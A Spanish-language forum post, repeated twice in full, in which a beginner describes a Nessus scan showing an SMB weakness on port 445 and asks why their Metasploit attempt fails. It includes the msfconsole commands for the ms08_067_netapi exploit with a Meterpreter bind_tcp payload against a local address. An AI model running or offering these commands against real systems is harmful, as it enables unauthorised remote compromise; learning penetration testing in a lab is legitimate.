hola a todos
he seguido investigando y leyendo muchos tutoriales,etc y soy un mar de dudas
perdonar si digo muchas burradas...
escaneo con nessus, y me fijo en las vulnerabilidades que me da, sobre todo en el puerto 445.
voy a la zona de ports/protocols y miro las vulnerabilidades del puerto 445, y me dice que son 11.
creo q las ordena de mayor a menor riesgo ( low y high )
me fijo en la que pone high, y me pone PLUGIN ID: 42411 y PLUGIN NAME: microsoft windows SMB shares unprivileged access.
ahora mi problema es saber como utilizar el metasploit con esa vulnerabilidad
suelo hacer:
./msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit
y aqui viene el problema que siempre me pone que el exploit fue completado pero me pone algo como q la ip o el host was unreachable o algo asi, me da ese fallo.
se debe a q no estoy utilizando el exploit adecuado a esa vulnerabilidad?¿
muchas gracias y perdonar por el rollo que os he metido
un saludo
he seguido investigando y leyendo muchos tutoriales,etc y soy un mar de dudas
perdonar si digo muchas burradas...
escaneo con nessus, y me fijo en las vulnerabilidades que me da, sobre todo en el puerto 445.
voy a la zona de ports/protocols y miro las vulnerabilidades del puerto 445, y me dice que son 11.
creo q las ordena de mayor a menor riesgo ( low y high )
me fijo en la que pone high, y me pone PLUGIN ID: 42411 y PLUGIN NAME: microsoft windows SMB shares unprivileged access.
ahora mi problema es saber como utilizar el metasploit con esa vulnerabilidad
suelo hacer:
./msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit
y aqui viene el problema que siempre me pone que el exploit fue completado pero me pone algo como q la ip o el host was unreachable o algo asi, me da ese fallo.
se debe a q no estoy utilizando el exploit adecuado a esa vulnerabilidad?¿
muchas gracias y perdonar por el rollo que os he metido
un saludo
